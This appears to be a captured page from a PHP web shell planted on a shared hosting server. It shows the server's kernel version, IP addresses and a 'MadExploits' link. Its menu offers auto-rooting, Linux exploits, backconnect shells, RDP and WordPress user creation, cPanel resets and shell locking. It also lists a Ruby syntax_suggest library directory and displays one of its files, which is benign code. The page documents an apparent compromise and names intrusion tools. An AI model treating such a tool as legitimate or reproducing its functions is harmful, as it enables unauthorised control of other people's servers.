Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
ruby /
syntax_suggest /
[ HOME SHELL ]
Name
Size
Permission
Action
capture
[ DIR ]
drwxr-xr-x
api.rb
6.11
KB
-rw-r--r--
around_block_scan.rb
6.9
KB
-rw-r--r--
block_expand.rb
4.88
KB
-rw-r--r--
capture_code_context.rb
6.67
KB
-rw-r--r--
clean_document.rb
8.73
KB
-rw-r--r--
cli.rb
3.12
KB
-rw-r--r--
code_block.rb
2.13
KB
-rw-r--r--
code_frontier.rb
5.61
KB
-rw-r--r--
code_line.rb
6.62
KB
-rw-r--r--
code_search.rb
3.81
KB
-rw-r--r--
core_ext.rb
2.65
KB
-rw-r--r--
display_code_with_line_numbers...
1.77
KB
-rw-r--r--
display_invalid_blocks.rb
1.75
KB
-rw-r--r--
explain_syntax.rb
2.69
KB
-rw-r--r--
left_right_lex_count.rb
4.06
KB
-rw-r--r--
lex_all.rb
1.66
KB
-rw-r--r--
lex_value.rb
1.5
KB
-rw-r--r--
mini_stringio.rb
774
B
-rw-r--r--
parse_blocks_from_indent_line....
1.5
KB
-rw-r--r--
pathname_from_message.rb
1.42
KB
-rw-r--r--
priority_engulf_queue.rb
1.26
KB
-rw-r--r--
priority_queue.rb
2
KB
-rw-r--r--
ripper_errors.rb
960
B
-rw-r--r--
scan_history.rb
2.92
KB
-rw-r--r--
unvisited_lines.rb
705
B
-rw-r--r--
version.rb
76
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : explain_syntax.rb
# frozen_string_literal: true require_relative "left_right_lex_count" if !SyntaxSuggest.use_prism_parser? require_relative "ripper_errors" end module SyntaxSuggest class GetParseErrors def self.errors(source) if SyntaxSuggest.use_prism_parser? Prism.parse(source).errors.map(&:message) else RipperErrors.new(source).call.errors end end end # Explains syntax errors based on their source # # example: # # source = "def foo; puts 'lol'" # Note missing end # explain ExplainSyntax.new( # code_lines: CodeLine.from_source(source) # ).call # explain.errors.first # # => "Unmatched keyword, missing `end' ?" # # When the error cannot be determined by lexical counting # then the parser is run against the input and the raw # errors are returned. # # Example: # # source = "1 * " # Note missing a second number # explain ExplainSyntax.new( # code_lines: CodeLine.from_source(source) # ).call # explain.errors.first # # => "syntax error, unexpected end-of-input" class ExplainSyntax INVERSE = { "{" => "}", "}" => "{", "[" => "]", "]" => "[", "(" => ")", ")" => "(", "|" => "|" }.freeze def initialize(code_lines:) @code_lines = code_lines @left_right = LeftRightLexCount.new @missing = nil end def call @code_lines.each do |line| line.lex.each do |lex| @left_right.count_lex(lex) end end self end # Returns an array of missing elements # # For example this: # # ExplainSyntax.new(code_lines: lines).missing # # => ["}"] # # Would indicate that the source is missing # a `}` character in the source code def missing @missing ||= @left_right.missing end # Converts a missing string to # an human understandable explanation. # # Example: # # explain.why("}") # # => "Unmatched `{', missing `}' ?" # def why(miss) case miss when "keyword" "Unmatched `end', missing keyword (`do', `def`, `if`, etc.) ?" when "end" "Unmatched keyword, missing `end' ?" else inverse = INVERSE.fetch(miss) { raise "Unknown explain syntax char or key: #{miss.inspect}" } "Unmatched `#{inverse}', missing `#{miss}' ?" end end # Returns an array of syntax error messages # # If no missing pairs are found it falls back # on the original error messages def errors if missing.empty? return GetParseErrors.errors(@code_lines.map(&:original).join).uniq end missing.map { |miss| why(miss) } end end end
Close